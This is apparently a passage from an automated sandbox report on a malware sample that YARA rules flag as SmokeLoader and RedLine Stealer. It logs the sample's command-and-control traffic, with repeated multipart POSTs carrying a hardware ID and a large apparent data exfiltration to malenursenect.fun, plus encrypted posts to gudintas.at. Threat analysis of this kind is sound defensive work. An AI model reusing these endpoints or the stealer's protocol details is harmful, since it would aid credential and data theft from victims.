Oct 3, 2023 09:55:49.102689028 CEST	7435	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:49.483118057 CEST	7436	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1kkrf66sldibeo0dl441044uvc; expires=Sat, 27 Jan 2024 01:42:28 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:49 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xpUO8Ovf%2BzLE4cycG1z%2FcDi%2BaOw5hsB7JHcSEw2o4v7nuqu9mC9zQtmPTj0dAeIH0h%2FNkAmveqTBtzKcwjyNGQ9Kn6RYJU7%2BFnkoo0EyUpGoDGfaY8A%2FW6eOTjHFkfdwDu6UCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a0001e31392b-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:49.483172894 CEST	7436	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	49920	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:49.793399096 CEST	7437	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:49.794106960 CEST	7438	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:50.034212112 CEST	7439	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=8m6kvg1aeuit04k4824viocpfc; expires=Sat, 27 Jan 2024 01:42:28 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:49 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mjLLwaCdvcvZy%2BN%2FVxDoplBYiBPPci5hJJp3aN3HD0isiGDTwhmz0%2FYuY%2BQs711H3BGM8evX3OemOYlPYA%2Fi02WdsbuVV0Hfv6OZADEE3dDSbrSlbhGxL4aigNtaLVxPOEYVmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a0046ecb0816-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:50.034255981 CEST	7439	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	49921	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:50.248358965 CEST	7440	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:50.249082088 CEST	7440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:50.571069002 CEST	7441	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=mntd5aq8f5i233qo3egtdp7rje; expires=Sat, 27 Jan 2024 01:42:29 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:50 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=If6kM7dRVPvhnVkQQ6TsV%2FhAWfQgu7tPu6XiitRQramkNEzN76fw2s%2FZeMk7aml0fBHK1QvE2A4V3%2BQxvXIMsfcd2NN%2BtqPCgnwOhnfQSZBgf4UU0xrBg6m14GeDEyLUppZjpQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a0074c0e9c8e-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:50.571132898 CEST	7442	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	49922	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:50.808034897 CEST	7442	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:50.808756113 CEST	7443	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:51.140175104 CEST	7444	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=kk5mkloeegoa5qr5t06684rb6b; expires=Sat, 27 Jan 2024 01:42:30 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SEi643kpoZ0PvpGu0yaYdTLlDHMKdT%2BFIRHU8mPO8zbl7R%2F9KdPgmUj%2Fts%2F05nFsFzWtUeR71nvLqBzUKB9ioVvSNNzHcaicDtdXwk7n8XIbLv5wFdeAXwFicR6F%2ByYmDXL2iw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a00acddc580c-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:51.140239954 CEST	7444	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	49923	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:51.370898962 CEST	7445	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:51.371318102 CEST	7445	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:51.738919020 CEST	7447	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=pdjgv1g1uifsfagkr8g00fhuvq; expires=Sat, 27 Jan 2024 01:42:30 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:51 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gdykXm%2BWuiQJMzUcMMt%2F0juqRBeYrXHKSj8Zo4fyS9w8SxEm6nS6IqCjfJEkmmXdwKocpu5s1LqfptAB2ysHtsZHuOes8o6F3ZrprP3%2B9rzgUhu5SbMcRBGdoRpxTu6qPcacog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a00e4e9f1ffd-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:51.738979101 CEST	7447	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.3	49924	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:51.952478886 CEST	7448	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:51.953233957 CEST	7448	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:52.320103884 CEST	7449	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=tkti8kf218vergucta8l0gq4mv; expires=Sat, 27 Jan 2024 01:42:31 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:52 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QSqRyby51zh3%2FQCbfNIott53UFjpe9AXUFnQHs6Kfu2gYiripgya7Ay40SlEDc5npeipw8%2BrKhimrW9%2Fb53t65ZnDsOWNNdvZue8TVdzOjUrBdQkbWezZw3VDZvfkJ4lgHlduw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a011e95d82d8-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:52.320168018 CEST	7449	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.3	49925	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:52.865957022 CEST	7450	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 718262 Host: malenursenect.fun
Oct 3, 2023 09:55:52.866549015 CEST	7461	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:52.960727930 CEST	7463	OUT	Data Raw: 39 ef 2f ce e3 7c c0 3e 1f 60 fd ad fc 4f ea d0 d8 7f 09 bd 5f c4 fd 50 0f c8 c7 09 b7 45 75 7b e8 e3 6b e9 3b 2d 5f 5f 1f 13 b5 38 b0 6f 9a 8f 19 e3 74 2c b7 0c ae 6f bd 96 f0 9a 2a 73 fd 5b be c0 78 dd c6 fe f9 d1 fd 48 e2 10 70 6e 0f 7e 37 81 Data Ascii: 9/\|>`O_PEu{k;-__8ot,o*s[xHpn~7&5zIi+1/kY+SQyc;d+o.~G#sBlQ-qXopoes{W+cYV>fMgc"#:"`5wK+.
Oct 3, 2023 09:55:52.961158991 CEST	7465	OUT	Data Raw: f6 ed 6f 7f bb 7b c2 13 9e 10 ea f7 24 af 47 d9 b1 b0 2c 2b 75 48 5d 57 5f 7d 75 e1 e5 7d 3c 4f d8 d3 0d 01 7b 62 8e 64 c5 ff 53 5e 28 6c c9 d2 d1 a5 59 16 ab ca aa cf 5a be 68 1b 70 9b 95 ff f9 ea c0 6d f5 d5 a5 fa 3d 5d 3e ab 3d aa a1 e4 f5 a7 Data Ascii: o{$G,+uH]W_}u}<O{bdS^(lYZhpm=]>=:[ Lcbek,g>?? \|6DUxO_[dw/;WpccMEj/;GcD_S5?dOBgcaS+'o{L^Y9
Oct 3, 2023 09:55:52.961278915 CEST	7468	OUT	Data Raw: ee 79 e7 53 02 c6 77 70 c2 ee fa 6b f8 1d 7c bf f7 fa 1d ee 77 0f 3d e8 f6 0c b8 df a6 80 f9 85 9f d1 f7 8d 9f 7d 20 95 f7 31 a3 b2 34 8e 56 ae 8a 1e bf 5c e2 73 f8 5d 7f 23 c7 63 6d 20 73 3e d5 02 aa fe 4f 7f 2f 8d d6 2d 9f 92 07 44 fd 81 63 ee Data Ascii: ySwpk\|w=} 14V\s]#cm s>O/-Dc6NE1e&};L0I["n\|Oq\|b<@o/"\~c>H%[DXv/Jr<N<o/;'rc,<d:S8o~/CL}mQ'g
Oct 3, 2023 09:55:52.961319923 CEST	7471	OUT	Data Raw: 1b 7e 67 06 24 7f cc 98 ca f4 ff 53 af ff a9 8c eb 9f ea f1 5e ff 93 39 af 7f 60 77 a8 d9 43 8e c7 0c b0 e7 fa 9f 9a 93 b8 e7 24 ae ff a9 e4 f5 5f f5 0f f7 2d de eb f4 de 88 ed 42 66 c9 cb e8 f6 5c f8 cc f3 1c 32 51 3c 4f f1 1c c5 7b 99 75 fc 70 Data Ascii: ~g$S^9`wC$_-Bf\2Q<O{upc?K+_13;^N>PwQG,#JRk\|NE[Ue_(~Gc}&0c}`Vv^o&~)>Z>yr~qc,
Oct 3, 2023 09:55:52.961344957 CEST	7473	OUT	Data Raw: f7 71 9d af cf b1 d0 52 c6 14 f2 87 e3 13 fd 8d fe c1 ca fa c2 67 02 f1 40 cc eb cb 7e 56 d3 a4 61 40 ad 20 33 38 4b 87 a7 f5 1c b1 ee 11 a9 7c 2f cd 2e 3e 61 a7 98 df e9 98 8e 75 26 ec 07 cc 2c 10 f5 26 3c 1e 65 5e 88 9a 94 43 2e ff fb 90 ff 7d Data Ascii: qRg@~Va@ 38K\|/.>au&,&<e^C.}/t}lgP8Q}^Pb{ktkI?CF$5[B;YO>}}qm9/9u3vv!)xAYd~aN'?>&:`~
Oct 3, 2023 09:55:52.961373091 CEST	7476	OUT	Data Raw: fb 7c 7e db 59 79 7c 59 23 a9 df f1 38 a8 e9 34 5d 3f c7 5a b4 ce 15 3d 17 ad 73 5b 79 7b dd d7 3f 2e a7 dc cf ba 47 61 cc 3f 7e 7f a1 65 f9 3e ab f7 44 d6 02 5a 9a 6d df fd 19 ef e1 d6 f2 fc ee 06 9f 0f 79 f2 53 e9 b3 6c 21 70 41 9d be 64 6a 4e Data Ascii: \|~Yy\|Y#84]?Z=s[y{?.Ga?~e>DZmySl!pAdjN.<CJO?;Tp 1'pjATB]?K~NF\|\|6?M??]NI>o1Bord2?dR
Oct 3, 2023 09:55:52.961414099 CEST	7479	OUT	Data Raw: c4 d2 98 a7 a9 06 2e 4d db c7 0c 0d d9 18 2f a3 cc 4f ea e4 f5 60 3d cc dc 2c 3d 20 af 83 35 7c ec 53 cc a6 db c6 f9 4f 74 7b b5 7d 9c eb 98 d7 87 b1 0e 2d 4d 17 33 20 3e 4f 2d 56 c6 7d 5e d6 73 59 c7 95 eb c3 e5 f8 dc c3 e9 f8 89 e7 90 d5 76 ae Data Ascii: .M/O`=,= 5\|SOt{}-M3 >O-V}^sYv+R{^XO+i?nOky&eV\|bVjvfyY([kFaGuO(x;"9WD,/8kb2kL
Oct 3, 2023 09:55:52.961457968 CEST	7481	OUT	Data Raw: ef 1a 2c fd 5f e6 f5 3f d5 87 eb df e0 94 bc 2c fb 01 f3 fd 58 ed c2 0b ce eb d9 a6 fd a7 c7 53 6d bf c5 63 09 cb 2a 3f 6c c6 ed 2f 6a 4d d7 cf eb c8 b3 ee 03 96 4c c4 56 75 ff ec 13 ac a7 8a 35 bd 7f ab ee ff 26 ce a9 51 b0 de f3 63 2c f8 dd 6b Data Ascii: ,_?,XSmc?l/jMLVu5&Qc,k'LlWMO$:~d\|c!SLdRWNWWUc#W&U^2Gkskv[;jvTru#VucZnO
Oct 3, 2023 09:55:52.961484909 CEST	7484	OUT	Data Raw: 76 fe 97 b7 ff 33 68 fe 97 d6 e7 b7 62 b4 b5 fc 6f f0 36 db f8 9f 5e 53 59 e3 93 ca ed 6b 98 ff 59 6d cc cb fe 86 81 ff 15 5d de 2a e3 cb 91 93 c7 ff 37 cb b8 4e 6c 8b 4f 4f 58 e7 fe c9 b3 ff 78 bd a3 e4 ff db 8f fd 53 b4 9e 51 da 3f f9 6d 76 f8 Data Ascii: v3hbo6^SYkYm]7NlOOXxSQ?mvl_Z?o?f~YYt{=^';{gK\|i,DYO?&reZ7?{\|PXoG!34ah[
Oct 3, 2023 09:55:58.631050110 CEST	8264	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1k27v5feg0vdd41fh1b3q3p663; expires=Sat, 27 Jan 2024 01:42:37 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:58 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NIRFy0TQ2ShipZoliDiYK%2FCiUExi9vPoEpbH2Ly0%2BVduJ%2Bnlb5W0dcWXI7HAIPXa6%2F%2FzE6e5gFgNfQ%2F8A6cbHzFNQgNr9xwiOndiohjUjUPbk%2FGqm8q0DXSthbPCl3zj7mhBgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8103a017ab7f073d-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:58.631076097 CEST	8264	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49814	200.92.136.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:04.333462954 CEST	1557	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ppidsxxc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 222 Host: gudintas.at
Oct 3, 2023 09:55:04.333498955 CEST	1557	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 48 49 a2 e5 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vuHIo5zYr8[!b\| bW(\|6~J~18UQ//GY6#eE8U5?Whj:bU5
Oct 3, 2023 09:55:05.114358902 CEST	1564	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Target ID:	0
Start time:	09:53:54
Start date:	03/10/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	302'592 bytes
MD5 hash:	EC1D1CD9D43698631CEB1157E680A00A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.900656340.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.900683183.0000000002361000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000003.885330632.0000000002330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.900699694.00000000023B7000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.900666807.0000000002330000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:53:59
Start date:	03/10/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6a6f20000
File size:	3'933'184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:54:19
Start date:	03/10/2023
Path:	C:\Users\user\AppData\Roaming\aueuggs
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\aueuggs
Imagebase:	0x400000
File size:	302'592 bytes
MD5 hash:	EC1D1CD9D43698631CEB1157E680A00A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
